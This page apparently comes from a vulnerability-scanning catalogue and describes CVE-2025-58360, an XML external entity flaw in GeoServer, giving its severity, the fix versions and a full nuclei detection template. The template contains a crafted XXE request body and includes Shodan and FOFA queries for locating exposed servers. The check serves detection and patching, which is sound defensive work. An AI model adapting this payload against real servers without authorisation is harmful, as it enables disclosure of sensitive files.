GeoServer - XML External Entity Injection

Exploited in the wild. Listed by CISA on 2025-12-11; known to be used by ransomware.

highseverity

8.2CVSS score

61.2%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

GeoServer 2.26.0 to 2.26.2 and 2.25.6 contains an XML External Entity (XXE) injection caused by insufficient sanitization of XML input in /geoserver/wms GetMap operation, letting attackers disclose files or cause DoS, exploit requires crafted XML input.

Impact

Attackers can disclose sensitive files or cause denial of service by exploiting XML external entity processing.

Fix

Update to GeoServer 2.25.6, 2.26.3, 2.27.0 or later.

How to confirm it

Send: POST {{BaseURL}}/geoserver/wfs?service=WMS&request=GetMap ; POST {{BaseURL}}/wfs?service=WMS&request=GetMap
Positive when: contains "ServiceException" and "java.io.FileNotFoundException" AND status 200

Run it with nuclei: nuclei -id CVE-2025-58360 -u <target>

The full check

id: CVE-2025-58360

info:
  name: GeoServer - XML External Entity Injection
  author: lbb,xbow,darses
  severity: high
  description: |
    GeoServer 2.26.0 to 2.26.2 and 2.25.6 contains an XML External Entity (XXE) injection caused by insufficient sanitization of XML input in /geoserver/wms GetMap operation, letting attackers disclose files or cause DoS, exploit requires crafted XML input.
  impact: |
    Attackers can disclose sensitive files or cause denial of service by exploiting XML external entity processing.
  remediation: |
    Update to GeoServer 2.25.6, 2.26.3, 2.27.0 or later.
  reference:
    - https://github.com/geoserver/geoserver/security/advisories/GHSA-fjf5-xgmq-5525
    - https://nvd.nist.gov/vuln/detail/CVE-2025-58360
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L
    cvss-score: 8.2
    cve-id: CVE-2025-58360
    epss-score: 0.61169
    epss-percentile: 0.99168
    cwe-id: CWE-611
  metadata:
    verified: true
    max-request: 2
    vendor: osgeo
    product: geoserver
    shodan-query:
      - title:"geoserver"
      - 'http.html_hash:1093634893 "Content-Disposition: inline"'
      - http.favicon.hash:97540678
      - html:"/geoserver/"
    fofa-query:
      - title="geoserver"
      - app="geoserver"
      - icon_hash="97540678"
      - body="/geoserver/"
  tags: cve,cve2025,geoserver,xxe,wms,vkev,kev,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/geoserver/wfs?service=WMS&request=GetMap"
      - "{{BaseURL}}/wfs?service=WMS&request=GetMap"

    headers:
      Content-Type: application/vnd.ogc.sld+xml

    body: |
      <?xml version="1.0" encoding="UTF-8"?>
      <!DOCTYPE root [ <!ENTITY xxe SYSTEM "/this_file_does_not_exist"> ]>
      <StyledLayerDescriptor version="1.0.0">
      <NamedLayer><Name>&xxe;</Name></NamedLayer>
      </StyledLayerDescriptor>

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "ServiceException"
          - "java.io.FileNotFoundException"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from